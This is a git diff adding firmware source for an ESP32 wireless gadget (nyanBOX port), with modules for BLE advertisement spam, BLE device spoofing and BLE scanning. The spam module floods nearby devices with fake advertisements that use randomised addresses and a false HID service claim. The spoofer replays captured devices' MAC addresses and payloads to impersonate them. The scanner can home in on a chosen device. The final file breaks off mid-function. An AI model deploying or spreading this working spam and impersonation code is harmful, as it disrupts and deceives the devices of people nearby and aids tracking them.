*packet = (uint8_t*)malloc(total); + uint8_t i = 0; + // Flags + (*packet)[i++] = 2; + (*packet)[i++] = 0x01; + (*packet)[i++] = 0x06; + // Complete local name + (*packet)[i++] = name_len + 1; + (*packet)[i++] = 0x09; + memcpy(&(*packet)[i], name, name_len); + i += name_len; + // Service UUID list (HID) + (*packet)[i++] = 3; + (*packet)[i++] = 0x02; + (*packet)[i++] = 0x12; + (*packet)[i++] = 0x18; + // TX power level + (*packet)[i++] = 2; + (*packet)[i++] = 0x0A; + (*packet)[i++] = 0x00; + *size = total; +} + +static void advertiseDevice(const char* chosenName) { + static unsigned long lastAdv = 0; + unsigned long now = millis(); + + if (now - lastAdv < 15) { + delay(15 - (now - lastAdv)); + } + + if (isCurrentlyAdvertising) { + esp_ble_gap_stop_advertising(); + delay(5); + isCurrentlyAdvertising = false; + } + + esp_bd_addr_t randAddr; + for (int i = 0; i < 6; i++) randAddr[i] = random(0,256); + randAddr[0] = (randAddr[0] & 0x3F) | 0xC0; + esp_ble_gap_set_rand_addr(randAddr); + + uint8_t size; + PacketPtr packet; + make_packet(chosenName, &size, &packet); + if (packet != NULL) { + esp_ble_gap_config_adv_data_raw(packet, size); + free(packet); + } + + delay(5); + esp_ble_gap_start_advertising(&adv_params); + isCurrentlyAdvertising = true; + lastAdv = millis(); +} + +void bleSpamSetup() { + randomSeed((uint32_t)esp_random()); + pinMode(BUTTON_PIN_UP, INPUT_PULLUP); + pinMode(BUTTON_PIN_DOWN, INPUT_PULLUP); + pinMode(BUTTON_PIN_RIGHT, INPUT_PULLUP); + pinMode(BUTTON_PIN_LEFT, INPUT_PULLUP); + + initBLE(); + + esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); + esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); + esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN, ESP_PWR_LVL_P9); + + // Callback registration to handle incoming connections (they are ignored) + esp_ble_gap_register_callback([](esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param){}); + + bleInitialized = true; + isCurrentlyAdvertising = false; + delay(100); + + bleSpamMode = BLE_SPAM_MENU; + menuSelection = 0; + needsRedraw = true; + lastActiveUpdate = 0; + drawBleSpamMenu(); +} + +void bleSpamLoop() { + unsigned long now = millis(); + static uint8_t nextIdx = 0; + static BleSpamMode previousMode = BLE_SPAM_MENU; + const uint8_t batchSize = 5; + char nameBuf[nameBufSize]; + + bool up = digitalRead(BUTTON_PIN_UP) == LOW; + bool down = digitalRead(BUTTON_PIN_DOWN) == LOW; + bool left = digitalRead(BUTTON_PIN_LEFT) == LOW; + bool right = digitalRead(BUTTON_PIN_RIGHT) == LOW; + + if (bleSpamMode != previousMode) { + needsRedraw = true; + previousMode = bleSpamMode; + lastActiveUpdate = now; + } + + if (bleSpamMode != BLE_SPAM_MENU && now - lastActiveUpdate >= activeUpdateInterval) { + lastActiveUpdate = now; + needsRedraw = true; + } + + switch (bleSpamMode) { + case BLE_SPAM_MENU: + if (now - lastButtonPress > debounceDelay) { + if (up) { + menuSelection = (menuSelection - 1 + 4) % 4; + needsRedraw = true; + lastButtonPress = now; + } else if (down) { + menuSelection = (menuSelection + 1) % 4; + needsRedraw = true; + lastButtonPress = now; + } else if (right) { + if (menuSelection == 0) { + bleSpamMode = BLE_SPAM_RANDOM; + } else if (menuSelection == 1) { + bleSpamMode = BLE_SPAM_EMOJI; + } else if (menuSelection == 2) { + bleSpamMode = BLE_SPAM_CUSTOM; + } else { + bleSpamMode = BLE_SPAM_ALL; + } + nextIdx = 0; + needsRedraw = true; + lastButtonPress = now; + } + } + + if (needsRedraw) { + drawBleSpamMenu(); + needsRedraw = false; + } + break; + + case BLE_SPAM_RANDOM: + if (needsRedraw) { + drawActiveSpam("Random Spam"); + needsRedraw = false; + } + + for (uint8_t i = 0; i < batchSize; i++) { + const char* name = pickName(nameBuf, 1); + advertiseDevice(name); + } + + if (left && now - lastButtonPress > debounceDelay) { + if (isCurrentlyAdvertising) { + esp_ble_gap_stop_advertising(); + isCurrentlyAdvertising = false; + delay(50); + } + bleSpamMode = BLE_SPAM_MENU; + needsRedraw = true; + lastButtonPress = now; + } + break; + + case BLE_SPAM_EMOJI: + if (needsRedraw) { + drawActiveSpam("Emoji Spam"); + needsRedraw = false; + } + + for (uint8_t i = 0; i < batchSize; i++) { + const char* name = pickName(nameBuf, 2); + advertiseDevice(name); + } + + if (left && now - lastButtonPress > debounceDelay) { + if (isCurrentlyAdvertising) { + esp_ble_gap_stop_advertising(); + isCurrentlyAdvertising = false; + delay(50); + } + bleSpamMode = BLE_SPAM_MENU; + needsRedraw = true; + lastButtonPress = now; + } + break; + + case BLE_SPAM_CUSTOM: + if (needsRedraw) { + char buf[32]; + snprintf(buf, sizeof(buf), "Index Count: %d", customNamesCount); + drawActiveSpam("Custom Spam", buf); + needsRedraw = false; + } + + if (customNamesCount > 0) { + for (uint8_t i = 0; i < batchSize; i++) { + const char* name = customNames[nextIdx]; + nextIdx = (nextIdx + 1) % customNamesCount; + advertiseDevice(name); + } + } + + if (left && now - lastButtonPress > debounceDelay) { + if (isCurrentlyAdvertising) { + esp_ble_gap_stop_advertising(); + isCurrentlyAdvertising = false; + delay(50); + } + bleSpamMode = BLE_SPAM_MENU; + nextIdx = 0; + needsRedraw = true; + lastButtonPress = now; + } + break; + + case BLE_SPAM_ALL: + if (needsRedraw) { + drawActiveSpam("All Spam"); + needsRedraw = false; + } + + for (uint8_t i = 0; i < batchSize; i++) { + uint8_t useMode = i % 3; + const char* name; + if (useMode == 0 && customNamesCount > 0) { + name = customNames[nextIdx]; + nextIdx = (nextIdx + 1) % customNamesCount; + } else { + name = pickName(nameBuf, useMode); + } + advertiseDevice(name); + } + + if (left && now - lastButtonPress > debounceDelay) { + if (isCurrentlyAdvertising) { + esp_ble_gap_stop_advertising(); + isCurrentlyAdvertising = false; + delay(50); + } + bleSpamMode = BLE_SPAM_MENU; + nextIdx = 0; + needsRedraw = true; + lastButtonPress = now; + } + break; + } +} \ No newline at end of file diff --git a/cyd-port/src/ble_spoofer.cpp b/cyd-port/src/ble_spoofer.cpp new file mode 100644 index 0000000..8eb1b72 --- /dev/null +++ b/cyd-port/src/ble_spoofer.cpp @@ -0,0 +1,428 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/ble_spoofer.h" +#include "../include/radio_manager.h" +#include "../include/blescan.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; +extern std::vector bleDevices; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT +#define BTN_CENTER BUTTON_PIN_CENTER + +enum BLESpooferState { + SPOOFER_MENU, + SPOOFER_CLONE_SELECT, + SPOOFER_CLONE_RUNNING, + SPOOFER_CLONE_ALL_RUNNING +}; + +static BLESpooferState currentState = SPOOFER_MENU; +static bool bleInitialized = false; + +static int menuSelection = 0; +static int cloneTargetIndex = 0; + +static bool isAdvertising = false; +static unsigned long lastAdvertiseTime = 0; +static int currentCloneAllIndex = 0; +static unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; +const unsigned long advertiseInterval = 1000; + +static bool needsRedraw = true; +static BLESpooferState lastState = SPOOFER_MENU; +static unsigned long lastRunningUpdate = 0; +const unsigned long runningUpdateInterval = 1000; + +static void drawMainMenu() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, "BLE Spoofer"); + + if (bleDevices.empty()) { + u8g2.drawStr(0, 28, "No BLE devices found!"); + u8g2.drawStr(0, 44, "Run BLE Scan first"); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "SEL=Exit"); + } else { + const char* menuItems[] = { + "Clone Target", + "Clone All (Spam)" + }; + + for (int i = 0; i < 2; i++) { + char itemStr[32]; + bool selected = (menuSelection == i); + snprintf(itemStr, sizeof(itemStr), "%s %s", + selected ? ">" : " ", menuItems[i]); + u8g2.drawStr(0, 28 + i * 16, itemStr); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "U/D=NAV R=OK SEL=Exit"); + } + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +static void drawCloneSelect() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + char headerStr[32]; + snprintf(headerStr, sizeof(headerStr), "Select Target %d/%d", + cloneTargetIndex + 1, (int)bleDevices.size()); + u8g2.drawStr(0, 12, headerStr); + + if (cloneTargetIndex >= (int)bleDevices.size()) { + cloneTargetIndex = 0; + } + auto &target = bleDevices[cloneTargetIndex]; + char targetInfo[32]; + char maskedName[33]; + maskName(target.name, maskedName, sizeof(maskedName) - 1); + snprintf(targetInfo, sizeof(targetInfo), "%.14s", maskedName); + u8g2.drawStr(0, 24, targetInfo); + + char addrInfo[32]; + char maskedAddress[18]; + maskMAC(target.address, maskedAddress); + snprintf(addrInfo, sizeof(addrInfo), "%.17s", maskedAddress); + u8g2.drawStr(0, 36, addrInfo); + + u8g2.setFont(u8g2_font_5x8_tr); + char dataInfo[32]; + snprintf(dataInfo, sizeof(dataInfo), "Adv:%d Rsp:%d", + target.payloadLength, target.scanResponseLength); + u8g2.drawStr(0, 48, dataInfo); + + u8g2.drawStr(0, 62, "L=Back U/D=Scroll R=Start"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +static void drawCloneRunning() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, "Advertising"); + + if (cloneTargetIndex >= (int)bleDevices.size()) { + cloneTargetIndex = 0; + } + auto &target = bleDevices[cloneTargetIndex]; + + char nameStr[20]; + char maskedName[33]; + maskName(target.name, maskedName, sizeof(maskedName) - 1); + snprintf(nameStr, sizeof(nameStr), "%.14s", maskedName); + u8g2.drawStr(0, 24, nameStr); + + char addrStr[20]; + char maskedAddress[18]; + maskMAC(target.address, maskedAddress); + snprintf(addrStr, sizeof(addrStr), "%.17s", maskedAddress); + u8g2.drawStr(0, 36, addrStr); + + u8g2.setFont(u8g2_font_5x8_tr); + char statusStr[32]; + snprintf(statusStr, sizeof(statusStr), "Adv:%d Rsp:%d %s", + target.payloadLength, target.scanResponseLength, + isAdvertising ? "ON" : "OFF"); + u8g2.drawStr(0, 48, statusStr); + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +static void drawCloneAllRunning() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, "Clone All Spam"); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "Targets: %d", (int)bleDevices.size()); + u8g2.drawStr(0, 28, countStr); + + u8g2.drawStr(0, 44, "Advertising..."); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +static void initializeAdvertising() { + if (!bleInitialized) { + initBLE(); + bleInitialized = true; + } +} + +static void startSingleClone() { + if (bleDevices.empty() || isAdvertising) return; + + if (cloneTargetIndex >= (int)bleDevices.size()) { + cloneTargetIndex = 0; + } + + initializeAdvertising(); + + auto &device = bleDevices[cloneTargetIndex]; + + esp_ble_gap_stop_advertising(); + delay(50); + + esp_ble_gap_set_device_name(device.name); + delay(50); + + esp_ble_gap_set_rand_addr(device.bdAddr); + delay(50); + + if (device.payloadLength > 0) { + esp_ble_gap_config_adv_data_raw(device.payload, device.payloadLength); + delay(20); + } + + if (device.scanResponseLength > 0) { + esp_ble_gap_config_scan_rsp_data_raw(device.scanResponse, device.scanResponseLength); + delay(20); + } + + delay(50); + + esp_ble_adv_params_t device_adv_params = { + .adv_int_min = 0x20, + .adv_int_max = 0x40, + .adv_type = (esp_ble_adv_type_t)device.advType, + .own_addr_type = BLE_ADDR_TYPE_RANDOM, + .channel_map = ADV_CHNL_ALL, + .adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY, + }; + + esp_err_t ret = esp_ble_gap_start_advertising(&device_adv_params); + + if (ret == ESP_OK) { + isAdvertising = true; + lastAdvertiseTime = millis(); + } +} + +static void startCloneAllSpam() { + if (bleDevices.empty()) return; + + currentCloneAllIndex = 0; + cloneTargetIndex = 0; + startSingleClone(); +} + +static void stopAdvertising() { + if (!isAdvertising) return; + esp_ble_gap_stop_advertising(); + delay(5); + isAdvertising = false; +} + +void bleSpooferSetup() { + menuSelection = 0; + cloneTargetIndex = 0; + currentCloneAllIndex = 0; + isAdvertising = false; + lastButtonPress = 0; + currentState = SPOOFER_MENU; + bleInitialized = false; + needsRedraw = true; + lastState = SPOOFER_MENU; + lastRunningUpdate = 0; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_CENTER, INPUT_PULLUP); + + randomSeed((uint32_t)esp_random()); +} + +void bleSpooferLoop() { + unsigned long now = millis(); + + if (currentState != lastState) { + lastState = currentState; + needsRedraw = true; + } + + static bool upPressed = false, downPressed = false; + static bool rightPressed = false, leftPressed = false; + bool upNow = digitalRead(BTN_UP) == LOW; + bool downNow = digitalRead(BTN_DOWN) == LOW; + bool rightNow = digitalRead(BTN_RIGHT) == LOW; + bool leftNow = digitalRead(BTN_BACK) == LOW; + bool centerNow = digitalRead(BTN_CENTER) == LOW; + + + switch (currentState) { + case SPOOFER_MENU: + if (!bleDevices.empty()) { + if (upNow && !upPressed) { + menuSelection = (menuSelection - 1 + 2) % 2; + needsRedraw = true; + delay(200); + } + if (downNow && !downPressed) { + menuSelection = (menuSelection + 1) % 2; + needsRedraw = true; + delay(200); + } + if (rightNow && !rightPressed) { + switch (menuSelection) { + case 0: + currentState = SPOOFER_CLONE_SELECT; + needsRedraw = true; + break; + case 1: + startCloneAllSpam(); + currentState = SPOOFER_CLONE_ALL_RUNNING; + needsRedraw = true; + break; + } + delay(200); + } + } + if (centerNow) { + delay(200); + return; + } + + if (needsRedraw) { + drawMainMenu(); + needsRedraw = false; + } + break; + + case SPOOFER_CLONE_SELECT: + if (upNow && !upPressed) { + cloneTargetIndex = (cloneTargetIndex - 1 + bleDevices.size()) % bleDevices.size(); + needsRedraw = true; + delay(200); + } + if (downNow && !downPressed) { + cloneTargetIndex = (cloneTargetIndex + 1) % bleDevices.size(); + needsRedraw = true; + delay(200); + } + if (rightNow && !rightPressed) { + startSingleClone(); + currentState = SPOOFER_CLONE_RUNNING; + needsRedraw = true; + delay(200); + } + if (leftNow && !leftPressed) { + currentState = SPOOFER_MENU; + needsRedraw = true; + delay(200); + } + if (centerNow) { + delay(200); + return; + } + + if (needsRedraw) { + drawCloneSelect(); + needsRedraw = false; + } + break; + + case SPOOFER_CLONE_RUNNING: + if (leftNow && !leftPressed) { + stopAdvertising(); + currentState = SPOOFER_CLONE_SELECT; + needsRedraw = true; + delay(200); + } + if (centerNow) { + stopAdvertising(); + delay(200); + return; + } + + if (now - lastRunningUpdate >= runningUpdateInterval) { + lastRunningUpdate = now; + needsRedraw = true; + } + + if (needsRedraw) { + drawCloneRunning(); + needsRedraw = false; + } + break; + + case SPOOFER_CLONE_ALL_RUNNING: + if (leftNow && !leftPressed) { + stopAdvertising(); + currentState = SPOOFER_MENU; + needsRedraw = true; + delay(200); + } + if (centerNow) { + stopAdvertising(); + delay(200); + return; + } + + if (isAdvertising && now - lastAdvertiseTime > advertiseInterval) { + stopAdvertising(); + delay(100); + + currentCloneAllIndex = (currentCloneAllIndex + 1) % bleDevices.size(); + cloneTargetIndex = currentCloneAllIndex; + + delay(50); + startSingleClone(); + } + + if (now - lastRunningUpdate >= runningUpdateInterval) { + lastRunningUpdate = now; + needsRedraw = true; + } + + if (needsRedraw) { + drawCloneAllRunning(); + needsRedraw = false; + } + break; + } + + upPressed = upNow; + downPressed = downNow; + rightPressed = rightNow; + leftPressed = leftNow; + + delay(5); +} \ No newline at end of file diff --git a/cyd-port/src/blescan.cpp b/cyd-port/src/blescan.cpp new file mode 100644 index 0000000..4f40259 --- /dev/null +++ b/cyd-port/src/blescan.cpp @@ -0,0 +1,588 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/blescan.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT + +std::vector bleDevices; + +const int MAX_DEVICES = 100; + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +char locateTargetAddress[18] = {0}; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; +static unsigned long lastCountdownUpdate = 0; +const unsigned long countdownUpdateInterval = 1000; +static bool wasScanning = false; + +static bool isScanning = false; +static unsigned long lastScanTime = 0; +const unsigned long scanInterval = 180000; +const unsigned long scanDuration = 8; + +static bool bleInitialized = false; +static bool scanCompleted = false; + +static esp_ble_scan_params_t ble_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static void bda_to_string(uint8_t *bda, char *str, size_t size) { + if (bda == NULL || str == NULL || size < 18) { + return; + } + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +static void process_scan_result(esp_ble_gap_cb_param_t *scan_result) { + uint8_t *bda = scan_result->scan_rst.bda; + uint8_t *payload = scan_result->scan_rst.ble_adv; + uint8_t payload_len = scan_result->scan_rst.adv_data_len; + + uint8_t *scan_rsp = NULL; + uint8_t scan_rsp_len = 0; + + if (scan_result->scan_rst.scan_rsp_len > 0) { + scan_rsp = scan_result->scan_rst.ble_adv + scan_result->scan_rst.adv_data_len; + scan_rsp_len = scan_result->scan_rst.scan_rsp_len; + } + + char addrStr[18]; + bda_to_string(bda, addrStr, sizeof(addrStr)); + + if (strlen(addrStr) < 12) return; + + if (isLocateMode && strlen(locateTargetAddress) > 0) { + if (strcmp(addrStr, locateTargetAddress) != 0) { + return; + } + } else if (bleDevices.size() >= MAX_DEVICES) { + return; + } + + for (size_t i = 0; i < bleDevices.size(); i++) { + if (strcmp(bleDevices[i].address, addrStr) == 0) { + bleDevices[i].rssi = scan_result->scan_rst.rssi; + bleDevices[i].lastSeen = millis(); + + memcpy(bleDevices[i].bdAddr, bda, 6); + + bleDevices[i].advType = scan_result->scan_rst.ble_evt_type; + bleDevices[i].addrType = scan_result->scan_rst.ble_addr_type; + + if (payload_len > 0 && payload_len < 64) { + memcpy(bleDevices[i].payload, payload, payload_len); + bleDevices[i].payloadLength = payload_len; + } + + if (scan_rsp_len > 0 && scan_rsp_len < 64) { + memcpy(bleDevices[i].scanResponse, scan_rsp, scan_rsp_len); + bleDevices[i].scanResponseLength = scan_rsp_len; + } + + if (!bleDevices[i].hasName) { + uint8_t *adv_name = NULL; + uint8_t adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(bleDevices[i].name, adv_name, adv_name_len); + bleDevices[i].name[adv_name_len] = '\0'; + bleDevices[i].hasName = true; + } + } + + if (!isLocateMode) { + std::sort(bleDevices.begin(), bleDevices.end(), + [](const BLEDeviceData &a, const BLEDeviceData &b) { + return a.rssi > b.rssi; + }); + } + return; + } + } + + BLEDeviceData newDev = {}; + strncpy(newDev.address, addrStr, 17); + newDev.address[17] = '\0'; + + memcpy(newDev.bdAddr, bda, 6); + + newDev.rssi = scan_result->scan_rst.rssi; + newDev.lastSeen = millis(); + + newDev.advType = scan_result->scan_rst.ble_evt_type; + newDev.addrType = scan_result->scan_rst.ble_addr_type; + + if (payload_len > 0 && payload_len < 64) { + memcpy(newDev.payload, payload, payload_len); + newDev.payloadLength = payload_len; + } else { + newDev.payloadLength = 0; + } + + if (scan_rsp_len > 0 && scan_rsp_len < 64) { + memcpy(newDev.scanResponse, scan_rsp, scan_rsp_len); + newDev.scanResponseLength = scan_rsp_len; + } else { + newDev.scanResponseLength = 0; + } + + strcpy(newDev.name, "Unknown"); + newDev.hasName = false; + + uint8_t *adv_name = NULL; + uint8_t adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(newDev.name, adv_name, adv_name_len); + newDev.name[adv_name_len] = '\0'; + newDev.hasName = true; + } + + bleDevices.push_back(newDev); + + if (!isLocateMode) { + std::sort(bleDevices.begin(), bleDevices.end(), + [](const BLEDeviceData &a, const BLEDeviceData &b) { + return a.rssi > b.rssi; + }); + } + + needsRedraw = true; +} + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + lastScanTime = millis(); + } + break; + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl.status != ESP_BT_STATUS_SUCCESS) { + isScanning = false; + } + break; + case ESP_GAP_BLE_SCAN_RESULT_EVT: + switch (param->scan_rst.search_evt) { + case ESP_GAP_SEARCH_INQ_RES_EVT: + process_scan_result(param); + break; + case ESP_GAP_SEARCH_INQ_CMPL_EVT: + lastScanTime = millis(); + scanCompleted = true; + needsRedraw = true; + if (isLocateMode) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } else { + isScanning = false; + } + break; + default: + break; + } + break; + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + scanCompleted = true; + break; + default: + break; + } +} + +void blescanSetup() { + bleDevices.clear(); + bleDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + lastButtonPress = 0; + isScanning = true; + scanCompleted = false; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + wasScanning = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.clearBuffer(); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "BLE devices..."); + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + initBLE(); + + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + + bleInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); +} + +void blescanLoop() { + if (!bleInitialized) return; + + unsigned long now = millis(); + + if (isScanning && !isLocateMode) { + if (lastDeviceCount != (int)bleDevices.size() || wasScanning != isScanning) { + lastDeviceCount = (int)bleDevices.size(); + wasScanning = isScanning; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "BLE devices..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", (int)bleDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (bleDevices.size() * (barWidth - 4)) / MAX_DEVICES; + if (fillWidth > 0) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + return; + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + + unsigned long effectiveScanInterval = scanInterval; + uint32_t effectiveScanDuration = scanDuration; + + if (bleDevices.empty() && isContinuousScanEnabled()) { + effectiveScanInterval = 500; + effectiveScanDuration = 3; + } + + if (!isScanning && scanCompleted && now - lastScanTime > effectiveScanInterval && + !isDetailView && !isLocateMode) { + if (bleDevices.size() >= MAX_DEVICES) { + std::sort(bleDevices.begin(), bleDevices.end(), + [](const BLEDeviceData &a, const BLEDeviceData &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DEVICES / 4; + if (devicesToRemove > 0) { + bleDevices.erase(bleDevices.begin(), + bleDevices.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + scanCompleted = false; + isScanning = true; + esp_ble_gap_start_scanning(effectiveScanDuration); + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)bleDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !bleDevices.empty()) { + isDetailView = true; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !bleDevices.empty()) { + isLocateMode = true; + strncpy(locateTargetAddress, bleDevices[currentIndex].address, sizeof(locateTargetAddress) - 1); + locateTargetAddress[sizeof(locateTargetAddress) - 1] = '\0'; + if (!isScanning) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } + } + + if (bleDevices.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + } else { + currentIndex = constrain(currentIndex, 0, (int)bleDevices.size() - 1); + listStartIndex = + constrain(listStartIndex, 0, max(0, (int)bleDevices.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (bleDevices.empty() && scanCompleted && !isScanning && + now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (bleDevices.empty()) { + if (isContinuousScanEnabled()) { + + 